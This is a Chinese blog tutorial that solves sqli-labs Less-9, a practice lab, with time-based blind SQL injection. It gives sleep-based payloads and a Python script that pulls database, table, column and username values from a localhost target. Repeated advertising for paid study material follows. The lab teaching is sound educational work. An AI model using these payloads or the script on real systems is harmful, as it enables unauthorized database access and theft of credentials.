SQL注入——sqli-labs-Less-9时间盲注_sqliless9

最新推荐文章于 2024-11-06 10:53:30 发布

蓉城垡

最新推荐文章于 2024-11-06 10:53:30 发布

阅读量205

点赞数 8

分类专栏： 2024年程序员学习文章标签： sql less 数据库

本文链接：https://blog.csdn.net/2301_77033340/article/details/137660518

版权

2024年程序员学习专栏收录该内容

295 篇文章 0 订阅

订阅专栏

本文详细介绍了通过时间盲注来探测数据库信息的过程，包括判断数据库名、表名及列名，并提供了具体的操作步骤和示例。通过6个步骤，揭示了如何确定数据库名security、表名emails、referers、uagens和users，以及这些表中的列名id、username和password。最后提到了时间盲注脚本的应用，强调了手动注解对于理解方法的重要性。

摘要由CSDN通过智能技术生成

举例：

if(查询语句,sleep(5),1)

如果查询的语句为假，那么直接输出；如果查询的语句为真，那么过5秒之后输出。

回到题目上来，做这道题时总共分了6步，依次来看：

1.判断数据库的库名长度

?id=1' and if(length(database())=8,sleep(5),1)--+

从1开始穷举，到=8的时候延迟5秒输出，所以库名长度为8。

2.判断数据库名

测试库名的第一位：

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

测得第一位为ASCII编码的115，是字母“s”

测试第二位：

?id=1'and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

测得第二位是ASCII码101，是字母“e”

依次穷举类推，判断出来数据库名为security，库名长度8位。

接下来第三步是推测数据表，首先是数据表名长度：

3.表名长度

下面这个payload中，x代表是第几个表，y代表表名长度是多少：

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1)--+

下面是security数据库中的第一个表的表名长度：

?id=1' and if(length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))=6,sleep(5),1)--+

4.推测表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+

测得第一个表名的第一位是“e”，递推下去得到表名：emails

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+

然后，第二个表名的第一位是“r”，依此类推得到第二个表名“referers”,第三个“uagens”,第四个“users”

下面尝试注users表

5.猜测users表的列

?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

测得第一列的名称的第一个字符是“i”，同样类推，得到第一列名为“id”，第二列“username”第三列“password”

6.猜测username、password的所有内容

?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+

手注是可以注出来，但是相当费时间，我认为，手注更大的意义在于理解方法。所以这里搬运了老师傅的时间盲注脚本我们共同学习：

注意：共有6处url需要改成你自己的url

import requests


# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())>{i},1,sleep(2))"
        r = requests.get(url + '%23')
        if r.elapsed.total_seconds()>2:
            print('database_length:', i)
            return i


#获取数据库名
def database_name(databaselen):
     name = ''
     for j in range(1, databaselen+1):
        for i in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz":
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr(database(),%d,1)='%s',sleep(2),1)" % (j, i)
            #print(url+'%23')
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
     print('database_name:', name)


# 获取数据库表
def tables_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(table_name) from information_schema.tables " \
                  "where table_schema=database()),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('table_name:', name)



# 获取表中字段
def columns_name():
    name = ''
    for j in range(1, 30):
        for i in 'abcdefghijklmnopqrstuvwxyz,':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(column_name) from information_schema.columns where " \
                  "table_schema=database() and table_name='users'),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('column_name:', name)



# 获取username
def username_value():
    name = ''
    for j in range(1, 100):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
            url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' " \
                  "and if(substr((select group_concat(username) from users),%d,1)='%s',sleep(2),1)" % (j, i)
            r = requests.get(url + '%23')
            if r.elapsed.total_seconds()>2:
                name = name + i
                break
    print('username_value:', name)




**自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。**

**深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！**

**因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/1580a6857614ba46876df41dd386b2cf.png)
![img](https://img-blog.csdnimg.cn/img_convert/17d0ce5eaac45c85d91b02a128cb931d.png)
![img](https://img-blog.csdnimg.cn/img_convert/f2cb971ce9e38d1c19850c9613ed0aba.png)
![img](https://img-blog.csdnimg.cn/img_convert/d5929ed829db46cc95c1d6ad0ed026d6.png)
![img](https://img-blog.csdnimg.cn/img_convert/8529fddb5d73972a0c8f937bd66594df.png)
![img](https://img-blog.csdnimg.cn/img_convert/8e6af5424906ca24d8e1da6fc6a8408e.png)

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！**

**由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新**

**如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）**
![img](https://img-blog.csdnimg.cn/img_convert/eeee62ec905e41a366508fbcfd842003.png)

适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点，真正体系化！**

**由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新**

**如果你觉得这些内容对你有帮助，可以添加VX：vip204888 （备注网络安全获取）**
[外链图片转存中...(img-YJN6vu1y-1712861484509)]